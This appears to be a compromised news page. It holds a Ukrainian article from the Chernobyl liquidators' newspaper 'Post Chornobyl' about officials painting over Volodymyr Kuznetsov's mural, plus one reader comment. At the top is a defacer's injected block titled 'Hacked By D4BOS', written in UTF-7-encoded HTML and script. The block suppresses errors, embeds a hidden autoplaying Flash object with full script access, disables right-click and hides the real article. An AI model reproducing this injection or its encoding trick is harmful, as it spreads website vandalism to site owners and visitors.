+ADw-/title+AD4 +ADw-script language+AD0AIg-JavaScript1.2+ACIAPg function ClearError() +AHs-return true+ADsAfQ window.onerror +AD0 ClearError+ADs +ADw-/script+AD4 +ADw-title+AD4AfA 0wn3d+ADw-/title+AD4 +ADw-html+AD4APA-/head+AD4 +ADw-title+AD4-Hacked By D4BOS+ADw-/title+AD4 +ADw-head+AD4APA-link rel+AD0AIg-shortcut icon+ACI href+AD0AIg-http://img.webme.com/pic/i/iconvar/turk-b-11.png+ACI-/+AD4APA-/head+AD4 +ADw-body bgcolor+AD0AIg-black+ACIAPg +ADw-center+AD4APA-br+AD4APA-br+AD4 +ADw-div class+AD0AIg-imagehold+ACIAPg +ADw-img src+AD0AIg-https://i.hizliresim.com/2rXYqL.jpg+ACI alt+AD0AIg-width+AD0AIg-600+ACI height+AD0AIg-450+ACI style+AD0AIg-padding-top:0px+ACI-/+AD4APA-br+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4APA-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4-Hacked By D4BOS+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/b+AD4APA-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:15pt Courier New+ADsAIgA+ADw-b+AD4-D4BOS+ADs-Taktik yok bam bam +ADw-/b+AD4APA-img width+AD0AIg-20+ACI src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACIAPgAm-nbsp+ADsAPA-img src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACI width+AD0AIg-20+ACIAPgA8-br+AD4 +ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:grey+ADs-font:12pt Courier New+ADsAIgA+-DeadlyCrew.info+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:11pt Courier New+ADsAIgA+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPg +ADw-/font+AD4APA-font color+AD0AIgAj-545454+ACIAPgA8-/font+AD4APA-/div+AD4APA-br+AD4APA-/div+AD4APA-/b+AD4 +ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:9pt Courier New+ADsAIgA+ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:15pt Courier New+ADsAIgA+-d4bos.wordpress.com+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-p align+AD0-center style+AD0AIg-text-align:center+ACIAPgA8-b+AD4APA-br+AD4 +ADwAIQ—hacked by D4BOS–+AD4 +ADw-/body+AD4 +ADw-embed src+AD0AIg-http://www.youtube.com/v/uCrm9RghRjU?version+AD0-3+ACY-amp+ADs-hl+AD0-en+AF8-US+ACY-amp+ADs-rel+AD0-0+ACY-amp+ADs-autoplay+AD0-1+ACI type+AD0AIg-application/x-shockwave-flash+ACI width+AD0AIg-1+ACI height+AD0AIg-1+ACI allowscriptaccess+AD0AIg-always+ACI allowfullscreen+AD0AIg-true+ACIAPgA8-/embed+AD4 +ADw-SCRIPT LANGUAGE+AD0AIg-Javascript+ACIAPgA8ACE— // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg var isNS +AD0 (navigator.appName +AD0APQ +ACI-Netscape+ACI) ? 1 : 0+ADs var EnableRightClick +AD0 0+ADs if(isNS) document.captureEvents(Event.MOUSEDOWN+AHwAfA-Event.MOUSEUP)+ADs function mischandler()+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 else +AHs-return false+ADs +AH0 +AH0 function mousehandler(e)+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 var myevent +AD0 (isNS) ? e : event+ADs var eventbutton +AD0 (isNS) ? myevent.which : myevent.button+ADs if((eventbutton+AD0APQ-2)+AHwAfA(eventbutton+AD0APQ-3)) return false+ADs +AH0 function keyhandler(e) +AHs var myevent +AD0 (isNS) ? e : window.event+ADs if (myevent.keyCode+AD0APQ-96) EnableRightClick +AD0 1+ADs return+ADs +AH0 document.oncontextmenu +AD0 mischandler+ADs document.onkeypress +AD0 keyhandler+ADs document.onmousedown +AD0 mousehandler+ADs document.onmouseup +AD0 mousehandler+ADs //–+AD4 +ADw-/script+AD4APA-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Газета Всеукраїнської Спілки ліквідаторів-інвалідів "Чорнобиль-86". Всеукраїнський часопис для інвалідів Чорнобиля, ліквідаторів, чорнобилян.

Щоправда, намальованого художником В.Кузнецовим

26 липня в Мистецькому Арсеналі в Києві відкрилася виставка "Велике і величне", яку відвідав президент України В.Янукович. А напередодні відкриття виставки спалахнув скандал, обговорення якого набуло вибухового характеру і досі не вщухає. Причина скандалу – з ініціативи Наталії Заболотної, директорки цього мистецького закладу, була знищена картина під назвою "Коліївщина: Страшний суд", яку на прохання (чи то на замовлення) керівництва Мистецького Арсеналу писав просто на стіні художник Володимир Кузнецов. Начебто, Н.Заболотна своїми руками замазала картину чорною фарбою. За її словами, картина не відповідала концепції виставки, яку присвятили 1025 річчю Хрещення Русі. Однак, багато з тих, хто коментував цю подію, вважають, що чиновниця просто побоялася показати картину "високим" гостям виставки через її гострий сюжет.

 


Koliyivshchyna

Незавершена картина В.Кузнецова


Конфлікт вийшов далеко за межі арт-середовища і за межі України, а обговорення вийшло з площини звичайної моралі та слизького "політичного арту", в якому закони політики домінують над концептуальними імперативами сучасного мистецтва та навіть критеріями класичної естетики. Вже не один юрист запропонував В.Кузнецову свої послуги у відстоюванні його прав у суді. Щоправда, художник не поспішає дати справі "законного обороту".


Замальована картина


В чорнобильській спільноті безліч своїх нагальних життєвих проблем, і ліквідаторам, здавалося б,  аж ніяк не цікаво, що за буря раптом здійнялася в далекому від них елітарному арт-середовищі. Та тільки не в цьому випадку! Адже центральний герой сюжету знищеної картини – саме ліквідатор, а композиційним центром картини є пекло, породжене Чорнобилем. В тому пеклі "варяться" грішники різного ґатунку – від чиновників та урядовців, які старанно й завзято псують життя чорнобильцям (і не тільки їм), до неправедних священиків та повій. Ліквідатор стоїть з лопатою, з якої, за авторським задумом, на чиновників має сипатися реакторний графіт. Хоча художник не встиг намалювати цей високотехнологічний додаток до традиційної пекельної смоли, і картина в цілому ще не була завершена, враження від неперевершеного "комфорту" в чорнобильському котлі він встиг передати.

 


Банер на місці картини


Зазвичай, за народними тлумаченнями православних уявлень про пекло, біля котла зі смолою чергують кочегари-біси. А тут – ліквідатор! Володимир Кузнецов пояснив, що тут немає помилки. Саме так і має бути, тому що йдеться про страшний суд над грішниками через повстання тих, кого вони гнобили. Тобто суд творять самі люди-мученики, які настраждалися від неправедних правителів – ображені, обдурені, знедолені, ошукані, биті й скривджені тощо. Саме так трапилося колись на Коліївщині, коли проти неправедних чиновників в рясі та мундирах піднявся народ. Художник не закликає до повстання в Україні, він використовує колишнє страшне повстання простого люду як метафору, що підкріплює надію на перемогу правди і справедливості у протистоянні знедолених людей їхнім гнобителям.

Мабуть, годі сумніватися, чого саме злякалися чиновники від мистецтва чи ті, хто на них тиснув – а такого тиску не можна виключати. Якщо на керівників Мистецького Арсеналу й не було тиску зовні, можна розмірковувати про внутрішні чиновницькі обмеження, які й обернулися на заборону картини і навіть її знищення. Проте, вивчення службової психології – то окрема тема. У будь-якому разі, чиновницька заборона в цьому випадку – це не що інше, як цензура.

Таке дещо делікатне тлумачення вчинку чиновників пішло з середовища обурених художників, арт-критиків, галеристів. Ліквідатори з такою поведінкою чиновників, а саме – нехтуванням законних прав чорнобильців, стикаються щодня і називають це не "цензурою", а відвертіше – чиновницьким свавіллям. З ним тяжко боротися, бо йому майже відкрито потурають "з гори".  На жаль, це вже стало трохи не традицією для влади.

Володимир Кузнецов добре обізнаний щодо реального стану чорнобильських справ та життя-буття ліквідаторів. У знищеній картині він не вперше звернувся до чорнобильської теми. У квітні 2013 року в Малій галереї того ж Мистецького Арсеналу він презентував свій проект під назвою "Ми Чорнобиль". Це був не живопис, не скульптура, і навіть не звичні вже арт-об'єкти сучасного мистецтва. Жанр виставки певною мірою можна було б визначити як "інфо-арт". В експозиції були представлені інформаційні матеріали у вигляді текстів, графіків, таблиць, фото, звукових треків та відеороликів щодо Чорнобиля та ядерної енергетики взагалі, одержані з найрізноманітніших джерел. Автор виставки зібрав багато з того, про що говорять окремі діячі, експерти з різних галузей та пересічні громадяни, яких зачепив Чорнобиль.

Чи не вперше об'єктом художньої виставки фактично стала чорнобильська субкультура українського соціуму в її різних аспектах – політичних, економічних, правових, інженерних, екологічних, медичних, соціальних, моральних… І дуже важливо, що про проблеми Чорнобиля не просто вкотре заявили політики, вчені чи самі постраждалі, а вони були озвучені через рупор художнього сприйняття дійсності.

У травні 2013 року, невдовзі після виставки "Ми Чорнобиль" В.Кузнецов став учасником поїздки в Чорнобильську зону, яка була організована за участі редакції "Пост Чорнобиля". Разом з великою групою ліквідаторів він побував в містах Чорнобиль та Прип'ять, біля Чорнобильської АЕС та "саркофагу", відчув сталкерський дух провідників, побачив порожні безлюдні села, де дзвенить тиша, тощо. А головне – багато спілкувався з людьми, які не з чуток знають про Чорнобиль і теперішнє становище чорнобильців.

 

 

 

 

 

 

 

 

 

 


В.Кузнецов біля "саркофага"



біля меморіалу на ЧАЕС


Отже, чорнобильська тема в творчості Володимира Кузнецова – не випадкова, а сам він для ліквідаторів – людина не стороння. Тому багато хто з них, зважаючи на громадянську позицію художника, щиро висловлюється на його підтримку – і як людини, що  намагається сказати слово на їхній захист, і як художника. Можливо, таке відбувається вперше, коли художник, який позиціонує себе митцем сучасного арту, знаходить підтримку не лише в кулуарному та дещо елітному середовищі свого цеху, а й за його межами.

 

Причина цього проста й очевидна. У сучасного мистецтва (або "contemporary art"), не завжди зрозумілого для пересічного громадянина, нині багато прихильників, є великий загін художників, які тримаються саме цього напряму, чималий цех кураторів, критиків, арт-дилерів, галеристів.  Однак, як це не дивно, навряд чи вони будуть одностайні у визначенні того, що ж воно таке є, оте сучасне мистецтво, і що саме можна вважати твором (об'єктом) такого мистецтва, а що – не можна. Говорять, приміром, про великі розміри, про епатажність, нарочиту абсурдність, недбалість виконання твору, а ще про автора або його ім'я як частину твору. Говорять, що це – забава для олігархів, яким набридла класична естетика або будь-яка естетика взагалі, і в цьому вони вбачать нову естетику або відчувають "зовсім іншу енергетику". А ще говорять про майже обов'язкову асоціальність творів сучасного мистецтва, відсутність в них моралізаторства, повчання тощо, мовляв, від всього того тхне "нафталіном".

Робота "Коліївщина: Страшний суд" – безперечно, не є класичним витвором мистецтва і належить до сучасного арту, хоча дещо й не вписується в зазначені вище спроби його тлумачення. В.Кузнецов однозначно належить до цеху сучасного мистецтва, і саме за це двічі одержував винагороди від Фонду Віктора Пінчука – мецената і засновника одного з найбільших в Європі центрів сучасного мистецтва. Однак, робота В.Кузнецова зрозуміла не лише "цеховим працівникам" та "творчій еліті". А обрана ним тема близька багатьом, передусім, як раз не "елітарним колам". Іншими словами, витвір сучасного мистецтва В.Кузнецова раптом виявився народним. А це вже щось новеньке!

 


В.Кузнецов в м.Прип'ять


Як не дивно, це сталося, певною мірою, завдяки чиновникам, які злякалися сюжету картини і ненароком змусили говорити про те, чого вони так бояться. Коли так, коли чиновники ще бояться чогось народного, ще не все втрачено в цьому суспільстві! Це показала саме картина В.Кузнецова, яка фактично виявилася лакмусовим папірцем для перевірки реакції чиновництва.


В.Кузнецов з ліквідаторами на ЧАЕС


 

Сьогодні не в моді соціалізація в сучасному мистецтві, яке в уяві багатьох пересічних громадян є огидним, ганебним, брутальним та порожнім, бо сучасні художники соромляться вважати себе провідниками чи то проповідниками якихось гуманістичних ідей або принципів, не хочуть заявляти через свої твори про ставлення до подій у суспільстві або хоча б порушувати у своєму мистецтві нагальні проблеми, окрім проблем самого арту. Певне, завдяки зрілій громадській позиції, В.Кузнецов переступив це неписане обмеження. Можливо, це теж було не до вподоби чиновникам від сучасного арту.

Олексій Бреус,

спеціальний кореспондент "Пост Чорнобиля",

учасник ліквідації аварії на ЧАЕС 1986 року,

художник арт-групи "Стронцій-90".

Запись была опубликована: (ом) Понедельник, 12 августа 2013 г. в 1:35
и размещена в разделе Новини, Чорнобиль у мистецтві.
Вы можете следить за ответами к этой публикации через ленту RSS 2.0.
Вы можете оставить ответ или trackback с вашего сайта.

На сообщение "Чиновники злякалися ліквідатора" Один комментарий

  1. Valeriy сказал(а):

    Невдовзі має бути побудований пам’ятник, – Головному чиновнику Гаранту, із всіма його наближеними гарантятами, основою постаменту якого, має бути витяжна труба реактора, як символ їх постійного помешкання, як вказівник, куди та як пішла вся економіка Держави, як символ того, що чиновництво ще не встигло накласти податок на дим…
    Валерій.

Оставить комментарий

 

Полный анализ сайта